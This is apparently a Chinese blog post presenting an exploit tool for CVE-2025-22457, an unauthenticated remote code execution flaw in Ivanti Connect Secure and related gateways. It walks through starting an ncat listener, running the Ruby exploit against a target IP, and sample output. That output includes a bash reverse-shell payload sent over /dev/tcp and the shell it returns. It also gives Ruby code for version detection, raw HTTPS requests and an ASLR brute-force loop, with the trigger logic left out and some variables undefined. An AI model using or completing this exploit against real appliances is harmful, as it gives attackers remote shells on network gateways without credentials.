Ivanti Connect Secure CVE-2025-22457 未认证远程代码执行漏洞利用工具

Ivanti Connect Secure CVE-2025-22457 RCE 漏洞利用

项目概述

本项目是 CVE-2025-22457 漏洞的概念验证(PoC)利用工具。该漏洞是一个未认证的远程栈缓冲区溢出漏洞,影响以下 Ivanti 产品:

  • Ivanti Connect Secure
  • Pulse Connect Secure
  • Ivanti Policy Secure
  • ZTA Gateways

该漏洞允许远程攻击者在无需任何凭证的情况下,通过发送特制的 HTTP 请求触发缓冲区溢出,从而实现远程代码执行并获取目标设备的反向 Shell 访问权限。

完整的技术分析详见:Rapid7 漏洞分析报告

功能特性

  • 未认证远程利用:无需任何用户名或密码即可完成攻击
  • 反向 Shell 获取:成功利用后返回一个交互式 Shell 会话
  • 自动版本检测:通过解析目标页面自动识别产品版本信息
  • ASLR 绕过支持:内置内存地址暴力破解机制,可绕过地址空间布局随机化
  • HTTPS/HTTP 双协议支持:兼容两种传输协议
  • 多产品兼容:覆盖 Ivanti 系列多个安全产品
  • 详细日志输出:实时反馈攻击各阶段执行状态

安装指南

系统要求

  • Ruby 2.5 或更高版本
  • 网络访问目标设备(443 端口)

依赖安装

# 安装所需 Ruby Gem
gem install httparty
gem install openssl

验证环境

ruby --version
# 应输出 Ruby 2.5+

使用说明

基础用法

1. 启动 Netcat 监听器

在攻击者机器上开启一个 Netcat 监听,等待目标反向连接:

ncat -lnvkp 4444

2. 执行漏洞利用

ruby CVE-2025-22457.rb -t TARGET_IP -p 443 --lhost NCAT_IP --lport 4444

参数说明

参数 说明
-t 目标设备的 IP 地址
-p 目标设备的端口(默认 443)
--lhost 监听主机的 IP 地址
--lport 监听主机的端口号

完整示例

# 目标:192.168.86.111,监听端:192.168.86.35:8080
ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080

执行输出示例

[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000
[2025-04-10 16:21:13 +0100]     Making connections...
[2025-04-10 16:21:18 +0100]     Spraying...
[2025-04-10 16:22:27 +0100]     Triggering..

成功获取 Shell

Ncat: Connection from 192.168.86.111.
bash-4.2$ id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

核心代码

版本检测模块

# 从目标设备获取产品版本信息
def get_productversion(options)
  res = HTTParty.get("#{options[:target_scheme]}://#{options[:target_ip]}:#{options[:target_port]}/dana-na/auth/url_admin/welcome.cgi?type=inter")
  
  return nil unless res&.code == 200
  
  m = res.body.match(/name="productversion"\s+value="(\d+.\d+.\d+.\d+)"/i)
  return nil unless m&.length == 2
  
  m[1]
end

日志输出函数

# 带时间戳的日志输出
def log(txt)
  $stdout.puts("[#{Time.now}] #{txt}")
end

HTTPS/HTTP 请求发送模块

def send_http_data(options, data, verbose = false, read = true)
  s = TCPSocket.open(options[:target_ip], options[:target_port])
  
  if options[:target_scheme] == 'https'
    ctx = OpenSSL::SSL::SSLContext.new
    ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_NONE)
    
    s = OpenSSL::SSL::SSLSocket.new(s, ctx).tap do |socket|
      socket.sync_close = true
      socket.connect
    end
  end
  
  s.write(data)
  return [nil, s] unless read
  
  result = ''
  content_length = 0
  
  while line = s.gets
    p line if verbose
    m = line.match(/content-length: (\d+)\r\n/i)
    content_length = m[1].to_i if m
    result << line
    
    next unless line == "\r\n" && content_length
    break if content_length <= 0
    
    content = s.read(content_length)
    p content if verbose
    result << content
    break
  end
  
  [result, s]
end

主攻击执行模块

def hax(options)
  log "[+] Targeting #{options[:target_scheme]}://#{options[:target_ip]}:#{options[:target_port]}/"
  log "[+] Payload: #{options[:payload]}"
  
  productversion = get_productversion(options)
  
  if productversion
    log "[+] Detected version #{productversion}"
  else
    log "[!] Could not detect product version, continuing anyway..."
  end
  
  # ASLR 暴力破解循环
  attempts = 0
  while attempts < 256
    log "[+] Attempt #{attempts}, trying libdsplibs.so @ 0x#{'%08x' % base_addr}"
    # ... 漏洞触发逻辑
    attempts += 1
  end
end

6HFtX5dABrKlqXeO5PUv/9Z95XShAJAo2ZYhR+ibKq0=

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

友情链接更多精彩内容